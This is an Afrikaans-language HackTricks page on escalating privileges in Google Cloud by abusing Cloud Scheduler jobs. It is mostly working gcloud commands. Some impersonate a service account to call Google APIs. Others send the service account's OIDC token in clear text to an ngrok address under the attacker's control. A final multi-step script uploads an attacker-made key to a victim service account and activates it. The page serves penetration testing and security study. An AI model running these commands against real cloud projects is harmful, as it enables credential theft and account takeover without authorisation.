GCP - Cloud Scheduler Privesc

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Cloud Scheduler

Meer inligting in:

GCP - Cloud Scheduler Enum

cloudscheduler.jobs.create , iam.serviceAccounts.actAs, (cloudscheduler.locations.list)

'n Aanvaller met hierdie toestemmings kan Cloud Scheduler benut om cron jobs as 'n spesifieke Diensrekening te autentiseer. Deur 'n HTTP POST versoek te skep, skeduleer die aanvaller aksies, soos om 'n Storage-bucket te skep, om onder die Diensrekening se identiteit uit te voer. Hierdie metode benut die Scheduler se vermoë om *.googleapis.com eindpunte te teiken en versoeke te autentiseer, wat die aanvaller in staat stel om Google API eindpunte direk te manipuleer met 'n eenvoudige gcloud opdrag.

• Kontak enige google API via googleapis.com met OAuth token kop

Skep 'n nuwe Storage-bucket:

gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email [e-mail] --headers "Content-Type=application/json" --location us-central1

Om voorregte te verhoog, maak 'n aanvaller bloot 'n HTTP-versoek wat die gewenste API teiken, terwyl hy die gespesifiseerde Diensrekening naboots

• Exfiltreer OIDC-diensrekeningtoken

gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email [e-mail] [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.

As jy die HTTP-respons moet nagaan, kan jy net na die logs van die uitvoering kyk.

cloudscheduler.jobs.update , iam.serviceAccounts.actAs, (cloudscheduler.locations.list)

Soos in die vorige scenario is dit moontlik om 'n reeds geskepte skeduleerder op te dateer om die token te steel of aksies uit te voer. Byvoorbeeld:

gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email [e-mail] [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.

Nog 'n voorbeeld om 'n privaat sleutel na 'n SA op te laai en dit na te volg:

# Generate local private key
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
-keyout /tmp/private_key.pem \
-out /tmp/public_key.pem \
-subj "/CN=unused"

# Remove last new line character of the public key
file_size=$(wc -c < /tmp/public_key.pem)
new_size=$((file_size - 1))
truncate -s $new_size /tmp/public_key.pem

# Update scheduler to upload the key to a SA
## For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMAND
gcloud scheduler jobs update http scheduler_lab_1 \
--schedule='* * * * *' \
--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
--message-body="{\"publicKeyData\": \"$(cat /tmp/public_key.pem | base64 -w 0)\"}" \
--update-headers "Content-Type=application/json" \
--location us-central1 \
--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com

# Wait 1 min
sleep 60

# Check the logs to check it worked
gcloud logging read 'resource.type="cloud_scheduler_job" AND resource.labels.job_id="scheduler_lab_1" AND resource.labels.location="us-central1"
jsonPayload.@type="type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished"' --limit 10 --project <project-id> --format=json

## If any  '"status": 200'  it means it worked!
## Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: "status": 400

# Build the json to contact the SA
## Get privatekey in json format
file_content=$(<"/tmp/private_key.pem")
private_key_json=$(jq -Rn --arg str "$file_content" '$str')

## Get ID of the generated key
gcloud iam service-accounts keys list --iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com

# Create the json in a file
## NOTE that you need to export your project-id in the env var PROJECT_ID
## and that this script is expecting the key ID to be the first one (check the `head`)
export PROJECT_ID=...
cat > /tmp/lab.json <<EOF
{
"type": "service_account",
"project_id": "$PROJECT_ID",
"private_key_id": "$(gcloud iam service-accounts keys list --iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d " " -f 1 | grep -v KEY_ID | head -n 1)",
"private_key": $private_key_json,
"client_email": "scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com",
"client_id": "$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d "'" -f 2)",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com",
"universe_domain": "googleapis.com"
}
EOF

# Activate the generated key
gcloud auth activate-service-account --key-file=/tmp/lab.json

Verwysings

• https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/

Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!

• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.